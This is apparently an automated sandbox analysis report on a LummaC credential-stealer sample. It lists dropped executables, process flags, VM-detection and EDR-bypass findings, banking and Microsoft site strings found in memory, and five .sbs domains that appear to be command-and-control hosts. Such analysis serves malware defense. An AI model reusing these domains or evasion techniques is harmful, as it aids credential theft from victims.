Code function: 16_2_018B92FE EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

16_2_018B92FE

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\SysWOW64\msiexec.exe

System information queried: FirmwareTableInformation

Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	API/Special instruction interceptor: Address: 6D667C44
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	API/Special instruction interceptor: Address: 6D667945
Source: C:\Windows\SysWOW64\more.com	API/Special instruction interceptor: Address: 6D663B54
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 74BC87
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	API/Special instruction interceptor: Address: 6BC07C44

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1734			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 580			Jump to behavior

Source: C:\Windows\SysWOW64\more.com

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wlfdmdt

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_16-3957

Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe

API coverage: 0.6 %

Source: C:\Windows\SysWOW64\msiexec.exe TID: 7816	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8000	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2092	Thread sleep count: 1734 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2184	Thread sleep count: 580 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2796	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67DECE0 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,WaitForInputIdle,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	3_2_00007FF7B67DECE0
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67C647C FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	3_2_00007FF7B67C647C
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67F3130 FindFirstFileExA,	3_2_00007FF7B67F3130

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe

Code function: 3_2_00007FF7B67E5134 VirtualQuery,GetSystemInfo,

3_2_00007FF7B67E5134

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: more.com, 00000007.00000002.1515200951.000000000289C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: more.com, 00000007.00000002.1515200951.000000000289C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1!0
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: more.com, 00000007.00000002.1515200951.000000000289C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0/
Source: msiexec.exe, 0000000E.00000003.1845767731.0000000002C11000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539578375.0000000002C36000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539578375.0000000002C11000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1846035023.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: more.com, 00000007.00000002.1515200951.000000000289C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1
Source: more.com, 00000007.00000002.1515200951.000000000289C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.0
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: msiexec.exe, 0000000E.00000003.1565294205.00000000058B1000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: more.com, 00000007.00000002.1515200951.000000000289C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noreply@vmware.com0
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: 333.exe, 00000005.00000002.1319047812.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllI
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: msiexec.exe, 0000000E.00000003.1565552714.000000000585B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe

API call chain: ExitProcess graph end node

graph_16-3959

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe

Code function: 3_2_00007FF7B67EAC68 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_00007FF7B67EAC68

Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe

Code function: 16_2_018D2EB7 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

16_2_018D2EB7

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe

Code function: 3_2_00007FF7B67F41B0 GetProcessHeap,

3_2_00007FF7B67F41B0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67E6B24 SetUnhandledExceptionFilter,	3_2_00007FF7B67E6B24
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67E5CE0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF7B67E5CE0
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67EAC68 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF7B67EAC68
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Code function: 3_2_00007FF7B67E6940 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF7B67E6940
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Code function: 16_2_018C26C4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_018C26C4

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	NtQuerySystemInformation: Direct from: 0x7FFB2CEA4B5E			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	NtQuerySystemInformation: Direct from: 0x14DD3EA			Jump to behavior

LummaC encrypted strings found

Source: more.com, 00000007.00000002.1515765988.0000000004B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: more.com, 00000007.00000002.1515765988.0000000004B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: more.com, 00000007.00000002.1515765988.0000000004B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: peepburry828.sbs
Source: more.com, 00000007.00000002.1515765988.0000000004B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p10tgrace.sbs
Source: more.com, 00000007.00000002.1515765988.0000000004B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: processhol.sbs
